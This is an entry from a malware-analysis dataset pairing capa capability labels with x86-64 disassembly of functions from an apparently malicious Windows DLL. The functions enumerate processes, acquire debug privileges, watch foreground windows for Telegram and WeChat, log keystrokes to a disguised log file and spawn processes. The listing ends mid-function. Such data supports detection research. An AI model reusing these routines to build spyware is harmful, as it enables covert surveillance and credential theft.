joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180009dc0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x18003aa90]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rdi, rcx
xor sil, sil
lea ecx, [rdx + 2]
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180009e67
call fcn.18000a3d0
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.18000a170
mov rax, qword [rbx]
xor edi, edi
movsxd rcx, dword [rax + 4]
test byte [rcx + rbx + 0x10], 6
jne 0x180009e3e
mov rcx, qword [rcx + rbx + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove edi, ecx
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
test edi, edi
je 0x180009e63
mov edx, dword [rcx + 0x10]
or edx, edi
cmp qword [rcx + 0x48], 0
jne 0x180009e5b
or edx, 4
xor r8d, r8d
call fcn.1800099e0
xor al, al
jmp 0x180009ed6
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180009ec9
nop dword [rax]
lea rax, [rsp + 0x4c]
mov r8, rdi
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x180009ea4
add rax, 2
test ecx, ecx
jne 0x180009e90
test edx, edx
je 0x180009ebc
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180009e80
jmp 0x180009ec9
mov ecx, dword [rsp + 0x28]
mov sil, 1
mov dword [0x180043810], ecx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, sil
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1800142f0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x18000a0c0
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x18003aa90]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
lea edx, [rbx + 0x20]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18000a14c
lea r8, [rsp + 0x3c]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
mov dword [rsp + 0x38], 1
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
lea r9d, [rbx + 0x10]
lea r8, [rsp + 0x38]
xor edx, edx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x44], 2
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x30]
test eax, eax
sete bl
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800142f0
add rsp, 0x50
pop rbx
ret
Function at 0x18000dfb0
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x50
mov rbp, rcx
mov ecx, 0x234
movzx r13d, dl
call fcn.180014998
xor edx, edx
mov r8d, 0x234
mov rcx, rax
mov rdi, rax
call fcn.180016fd0
lea rcx, [rsp + 0x90]
mov byte [rdi], 0xcd
mov dword [rsp + 0x90], 8
call qword [sym.imp.USER32.dll_GetLastInputInfo]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r11d, eax
mov eax, 0x10624dd3
lea rcx, [rdi + 2]
sub r11d, dword [rsp + 0x94]
mul r11d
mov eax, 0x88888889
shr edx, 6
mul edx
shr edx, 5
mov r8d, edx
lea rdx, [0x180032418]
call qword [sym.imp.USER32.dll_wsprintfW]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x18000e058
lea rdx, [rdi + 0x20]
mov r8d, 0xfa
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, str.Telegram.exe
mov byte [rdi + 0x230], 0
call fcn.180007600
test eax, eax
je 0x18000e076
mov byte [rdi + 0x230], 1
lea rcx, str.WeChat.exe
mov byte [rdi + 0x231], 0
call fcn.180007600
test eax, eax
je 0x18000e094
mov byte [rdi + 0x231], 1
xor ebx, ebx
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x98]
mov dword [rsp + 0x30], ebx
lea rcx, [rsp + 0x90]
mov r9b, 1
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x90], ebx
mov dword [rsp + 0x98], ebx
mov byte [rsp + 0x20], bl
mov dword [rsp + 0x40], ebx
call fcn.18000e190
movsxd r12, dword [rsp + 0x90]
mov rsi, rax
test r12d, r12d
je 0x18000e141
test r13b, r13b
je 0x18000e141
lea r13d, [r12 + 0x234]
movsxd rcx, r13d
call fcn.180011cb8
mov ecx, dword [rsp + 0x98]
mov rdx, rdi
mov dword [rdi + 0x214], ecx
mov ecx, dword [rsp + 0x40]
mov r8d, 0x234
mov dword [rdi + 0x218], ecx
mov rcx, rax
mov rbx, rax
call fcn.180014320
lea rcx, [rbx + 0x234]
mov r8, r12
mov rdx, rsi
call fcn.180014320
cmp dword [rbp + 0x10], 0
jne 0x18000e159
mov r8d, r13d
mov rdx, rbx
jmp 0x18000e14f
cmp dword [rbp + 0x10], ebx
jne 0x18000e159
mov r8d, 0x234
mov rdx, rdi
mov rcx, qword [rbp + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rdi
call fcn.1800142cc
test rsi, rsi
je 0x18000e16e
mov rcx, rsi
call fcn.180014e80
test rbx, rbx
je 0x18000e17b
mov rcx, rbx
call fcn.180014e80
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000e980
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x610
mov rax, qword [0x18003aa90]
xor rax, rsp
mov qword [rsp + 0x600], rax
mov rdi, rcx
mov esi, edx
lea rcx, [rsp + 0x50]
mov rdx, rdi
mov r8d, 0x2d8
call fcn.180014320
lea rcx, [rsp + 0x332]
xor ebp, ebp
xor edx, edx
mov r8d, 0x2ce
mov word [rsp + 0x330], bp
call fcn.180016fd0
mov qword [rsp + 0x30], rbp
lea r8d, [rbp + 1]
lea rcx, [rsp + 0x260]
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18000ea13
xor eax, eax
jmp 0x18000eaa9
lea r8d, [rsi - 0x2d8]
lea rdx, [rdi + 0x2d8]
lea r9, [rsp + 0x40]
mov rcx, rax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000ea0c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rsp + 0x330]
test eax, eax
je 0x18000ea74
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x260]
lea rdx, str._s__s
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18000ea82
lea rdx, [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [rsp + 0x54]
test eax, eax
je 0x18000ea92
dec eax
jne 0x18000eaa4
xor edx, edx
jmp 0x18000ea97
mov edx, 5
lea rcx, [rsp + 0x330]
call fcn.18000ead0
mov eax, 1
mov rcx, qword [rsp + 0x600]
xor rcx, rsp
call fcn.1800142f0
mov rbx, qword [rsp + 0x640]
add rsp, 0x610
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000ead0
Capabilities:
Create process on windows
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0xa10]
sub rsp, 0xb10
mov rax, qword [0x18003aa90]
xor rax, rsp
mov qword [rbp + 0xa00], rax
mov rdi, rcx
mov esi, edx
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.180016fd0
mov edx, 0x2e
mov rcx, rdi
call fcn.180015ba4
mov rbx, rax
test rax, rax
je 0x18000ed1d
mov qword [rsp + 0xb38], r12
lea rcx, [rbp + 0x1f2]
xor r12d, r12d
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x1f0], r12w
call fcn.180016fd0
lea edx, [r12 + 0x20]
mov rcx, rbx
call fcn.180015ba4
mov rcx, rbx
test rax, rax
je 0x18000eb85
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
movsxd rcx, eax
test eax, eax
jle 0x18000eba2
cmp word [rbx + rcx*2], 0x20
je 0x18000eb8b
dec rcx
dec eax
test rcx, rcx
jg 0x18000eb72
jmp 0x18000eba2
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp + 0x1f0]
movsxd r9, eax
mov r8, rbx
mov edx, 0x104
call fcn.180015028
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x1f0]
mov edx, 1
call fcn.18000ed40
test eax, eax
je 0x18000ec30
lea rcx, [rbp + 0x610]
xor edx, edx
mov r8d, 0x3e8
call fcn.180016fd0
lea r8, [rbp - 0x20]
lea rdx, str._s_shellopencommand
lea rcx, [rbp + 0x610]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.180016fd0
lea rcx, [rbp + 0x402]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x400], r12w
call fcn.180016fd0
lea r8, [rbp + 0x400]
lea rcx, [rbp + 0x610]
mov edx, 2
call fcn.18000ed40
test eax, eax
jne 0x18000ec37
xor al, al
jmp 0x18000ed15
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x400]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rdx, [0x180032a48]
lea rcx, [rbp - 0x20]
call fcn.180015354
test rax, rax
jne 0x18000ec98
lea rdx, [0x180032a50]
lea rcx, [rbp - 0x20]
call fcn.180015354
test rax, rax
jne 0x18000ec98
lea rdx, [0x180032398]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp - 0x20]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x18000eca4
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor edx, edx
lea rcx, [rsp + 0x58]
lea r8d, [rdx + 0x60]
call fcn.180016fd0
mov dword [rsp + 0x50], WSAGetLastError
test esi, esi
je 0x18000ecce
lea rax, str.WinSta0Default
mov qword [rsp + 0x60], rax
jmp 0x18000ecda
mov dword [rbp - 0x74], 1
mov word [rbp - 0x70], r12w
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov al, 1
mov r12, qword [rsp + 0xb38]
mov rcx, qword [rbp + 0xa00]
xor rcx, rsp
call fcn.1800142f0
mov rbx, qword [rsp + 0xb40]
add rsp, 0xb10
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000ed40
Capabilities:
Query or enumerate registry value

Disassembly:
mov dword [rsp + 0x10], edx
push rbx
push rsi
push rdi
sub rsp, 0x480
mov rax, qword [0x18003aa90]
xor rax, rsp
mov qword [rsp + 0x470], rax
mov rdi, r8
mov rsi, rcx
mov qword [rsp + 0x48], 0xffffffff80000000
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x50]
call fcn.180016fd0
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x260]
call fcn.180016fd0
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x18000edc8
or ebx, 0xffffffff
jmp 0x18000ef8b
mov eax, dword [rsp + 0x4a8]
test eax, eax
je 0x18000ef8b
cmp eax, 2
jbe 0x18000ef40
cmp eax, 3
je 0x18000eef3
cmp eax, 4
je 0x18000ee9d
cmp eax, 7
jne 0x18000ef8b
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000ef8b
lea rbx, [rsp + 0x50]
nop dword [rax]
cmp word [rbx], 0
je 0x18000ee90
mov r9d, 0x208
mov r8, rbx
mov edx, 0x104
lea rcx, [rsp + 0x260]
call fcn.180015c58
mov r9d, 0x208
lea r8, [0x180032398]
mov edx, 0x104
lea rcx, [rsp + 0x260]
call fcn.180015c58
xor edx, edx
mov rcx, rbx
call fcn.1800157f8
lea rbx, [rax + 2]
jmp 0x18000ee40
lea rdx, [rsp + 0x260]
jmp 0x18000ef7d
mov dword [rsp + 0x30], 4
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000ef8b
mov r8d, dword [rsp + 0x40]
lea rdx, [0x1800320b8]
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18000ef86
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000ef8b
mov r8d, dword [rsp + 0x4a8]
lea rdx, str._08X
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18000ef86
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000ef8b
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.1800142f0
add rsp, 0x480
pop rdi
pop rsi
pop rbx
ret
Function at 0x18000efc0
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x30
cmp dword [rcx + 0x43c], 0
mov rbp, rdx
lea rax, [rsp + 0x50]
mov rsi, r8
mov rbx, rcx
lea rdi, str.Network
lea r12, str.AppEvents
mov rdx, rdi
mov r9d, 2
cmovne rdx, r12
mov rcx, 0xffffffff80000001
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x50]
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbx + 0x43c], 0
lea r8, [rsp + 0x50]
cmovne rdi, r12
mov rcx, 0xffffffff80000001
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x18000f07f
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x50]
mov r9d, 3
add eax, eax
xor r8d, r8d
mov rdx, rbp
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret

Function at 0x18000f0a0
Capabilities:
Accept command line arguments
Create process on windows
Terminate process

Disassembly:
push rbx
sub rsp, 0x300
mov rax, qword [0x18003aa90]
xor rax, rsp
mov qword [rsp + 0x2f0], rax
lea rdx, [rsp + 0xe0]
mov r8d, 0x208
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rcx, [rsp + 0x70]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea r11, [rsp + 0x50]
mov qword [rsp + 0x48], r11
lea rax, [rsp + 0x70]
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
xor eax, eax
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov rdx, rbx
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x18000ffc0
Capabilities:
Enumerate pe sections

Disassembly:
push rbx
push rbp
push rdi
push r14
push r15
sub rsp, 0x20
mov r8, qword [rcx]
mov rbp, rcx
mov ecx, dword [rcx + 0x68]
movzx eax, word [r8 + 0x14]
mov r15, qword [r8 + 0x30]
dec rcx
mov r11d, dword [rax + r8 + 0x20]
lea r9, [rax + r8 + 0x18]
movabs rax, 0xffffffff00000000
and r15, rax
mov eax, dword [r9 + 0x10]
not rcx
or r11, r15
and rcx, r11
test eax, eax
jne 0x180010020
mov edx, dword [r9 + 0x24]
test dl, 0x40
je 0x180010018
mov eax, dword [r8 + 0x20]
jmp 0x180010020
test dl, dl
jns 0x180010020
mov eax, dword [r8 + 0x24]
mov edx, dword [r9 + 0x24]
mov ebx, 1
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], r12
mov r10d, eax
mov r14d, ebx
lea rdi, [0x180041c30]
mov qword [rsp + 0x68], r13
cmp bx, word [r8 + 6]
jae 0x180010197
lea rbx, [r9 + 0x4c]
nop word [rax + rax]
mov esi, dword [rbp + 0x68]
mov r12d, dword [rbx - 0x1c]
mov eax, dword [rbx - 0x14]
or r12, r15
lea rdi, [rsi - 1]
not rdi
and rdi, r12
test eax, eax
jne 0x180010093
mov r9d, dword [rbx]
test r9b, 0x40
je 0x18001008a
mov eax, dword [r8 + 0x20]
jmp 0x180010093
test r9b, r9b
jns 0x180010093
mov eax, dword [r8 + 0x24]
mov r13d, eax
cmp rcx, rdi
je 0x180010151
lea rax, [r10 + r11]
cmp rax, rdi
ja 0x180010151
test r10, r10
je 0x180010144
bt edx, 0x19
jae 0x1800100f7
cmp r11, rcx
jne 0x180010144
cmp dword [r8 + 0x38], esi
je 0x1800100d7
xor edx, edx
mov rax, r10
div rsi
test rdx, rdx
jne 0x180010144
mov r9, qword [rbp + 0x58]
mov r8d, 0x4000
mov rdx, r10
mov rcx, r11
call qword [rbp + 0x30]
mov edx, dword [rbx]
mov r11, r12
mov rcx, rdi
mov r10, r13
jmp 0x180010172
mov eax, edx
shr eax, 0x1d
and eax, 1
movsxd rcx, eax
mov eax, edx
shr eax, 0x1e
and eax, 1
cdqe
lea rcx, [rax + rcx*2]
mov eax, edx
shr eax, 0x1f
lea rcx, [rax + rcx*2]
lea rax, [0x180041c30]
mov r8d, dword [rax + rcx*4]
bt edx, 0x1a
jae 0x18001012f
bts r8d, 9
lea r9, [rsp + 0x50]
mov rdx, r10
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800101bc
mov edx, dword [rbx]
mov r11, r12
mov rcx, rdi
mov r10, r13
jmp 0x180010172
mov eax, dword [rbx]
bt eax, 0x19
jae 0x180010163
bt edx, 0x19
jae 0x180010163
or edx, eax
jmp 0x180010169
or edx, eax
btr edx, 0x19
mov r10, r13
sub r10, r11
add r10, r12
mov r8, qword [rbp]
inc r14d
add rbx, 0x28
movzx eax, word [r8 + 6]
cmp r14d, eax
jl 0x180010060
mov ebx, 1
lea rdi, [0x180041c30]
test r10, r10
je 0x180010206
bt edx, 0x19
jae 0x1800101c0
cmp r11, rcx
jne 0x180010206
mov r9, qword [rbp + 0x58]
mov r8d, 0x4000
mov rdx, r10
mov rcx, r11
call qword [rbp + 0x30]
jmp 0x180010206
xor eax, eax
jmp 0x180010208
mov eax, edx
shr eax, 0x1d
and eax, 1
movsxd rcx, eax
mov eax, edx
shr eax, 0x1e
and eax, 1
cdqe
lea rcx, [rax + rcx*2]
mov eax, edx
shr eax, 0x1f
lea rcx, [rax + rcx*2]
mov r8d, dword [rdi + rcx*4]
bt edx, 0x1a
jae 0x1800101f1
bts r8d, 9
lea r9, [rsp + 0x50]
mov rdx, r10
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800101bc
mov eax, ebx
mov r13, qword [rsp + 0x68]
mov r12, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rbp
pop rbx
ret
Function at 0x180011170
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x1800111b4
cmp qword [0x180044188], 0
jne 0x1800111b4
xor eax, eax
lea r8, [0x180010c00]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x180044188], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
add rsp, 0x38
ret

Function at 0x1800111c0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor eax, eax
lea r8, [0x180010c00]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
add rsp, 0x38
ret
Function at 0x180011210
Capabilities:
Check mutex on windows
Delete file
Get common file path
Get file size
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x60
mov rax, qword [0x18003aa90]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor r9d, r9d
mov rsi, rdx
mov rbp, rcx
lea r13, [0x180043c70]
lea edx, [r9 + 0x23]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str.DisplaySessionContainers.log
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r8, r13
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x180044750], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r12d, r12d
xor r9d, r9d
mov qword [rsp + 0x30], r12
lea r8d, [r12 + 2]
mov edx, 0x40000000
mov rcx, r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x3200000
jbe 0x1800112db
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [0x180044750]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsi]
lea r9, [0x180044198]
lea r8, [0x180031780]
mov edx, 0x800
mov qword [rsp + 0x20], r12
call qword [sym.imp.DINPUT8.dll_DirectInput8Create]
test eax, eax
jns 0x180011314
xor al, al
jmp 0x1800113f1
mov rcx, qword [0x180044198]
lea r8, [0x1800441a0]
lea rdx, [0x1800317a0]
mov rax, qword [rcx]
xor r9d, r9d
call qword [rax + 0x18]
test eax, eax
js 0x18001130d
mov rcx, qword [0x1800441a0]
lea rdx, [0x180031760]
mov rax, qword [rcx]
call qword [rax + 0x58]
test eax, eax
js 0x18001130d
mov rcx, qword [0x1800441a0]
mov rdx, qword [rbp]
mov r8d, 0xa
mov rax, qword [rcx]
call qword [rax + 0x68]
test eax, eax
js 0x18001130d
mov rcx, qword [0x1800441a0]
mov dword [rsp + 0x40], shutdown
mov qword [rsp + 0x44], reloc.WS2_32.dll_recv
mov dword [rsp + 0x4c], r12d
mov dword [rsp + 0x50], 0x3c
mov rax, qword [rcx]
lea r8, [rsp + 0x40]
mov edx, 1
call qword [rax + 0x30]
test eax, eax
js 0x18001130d
mov rcx, qword [0x1800441a0]
mov rax, qword [rcx]
call qword [rax + gethostname]
test eax, eax
js 0x18001130d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, shutdown
mov dword [0x180044f98], eax
call qword [sym.imp.USER32.dll_GetKeyState]
cmp ax, 0xff81
je 0x1800113e5
mov dword [0x18004475c], r12d
cmp ax, 1
jne 0x1800113ef
mov dword [0x18004475c], 1
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1800142f0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180011420
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rcx
mov rcx, qword [0x180044750]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r9d, r9d
mov qword [rsp + 0x30], 0
lea rcx, [0x180043c70]
lea r8d, [r9 + 2]
mov edx, 0x40000000
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800114d1
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x58], 0
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r9, [rsp + 0x58]
mov rdx, rdi
lea r8d, [rax + rax]
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x180044750]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x1800114e0
Capabilities:
Get graphical window text

Disassembly:
push rbx
sub rsp, 0x870
mov rax, qword [0x18003aa90]
xor rax, rsp
mov qword [rsp + 0x860], rax
lea rcx, [0x180044770]
xor edx, edx
mov r8d, 0x800
call fcn.180016fd0
call qword [sym.imp.USER32.dll_GetForegroundWindow]
lea rdx, [0x180044770]
mov rcx, rax
mov r8d, 0x800
mov qword [0x180044768], rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [rsp + 0x62]
xor ebx, ebx
xor edx, edx
mov r8d, 0x7fe
mov word [rsp + 0x60], bx
call fcn.180016fd0
mov r11, qword [0x180044760]
cmp qword [0x180044768], r11
je 0x1800115fc
lea rcx, [0x180044770]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x1800115ee
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rsp + 0x58]
movzx ecx, word [rsp + 0x52]
movzx r11d, word [rsp + 0x5c]
movzx eax, word [rsp + 0x5a]
movzx r10d, word [rsp + 0x56]
movzx r9d, word [rsp + 0x50]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x38], eax
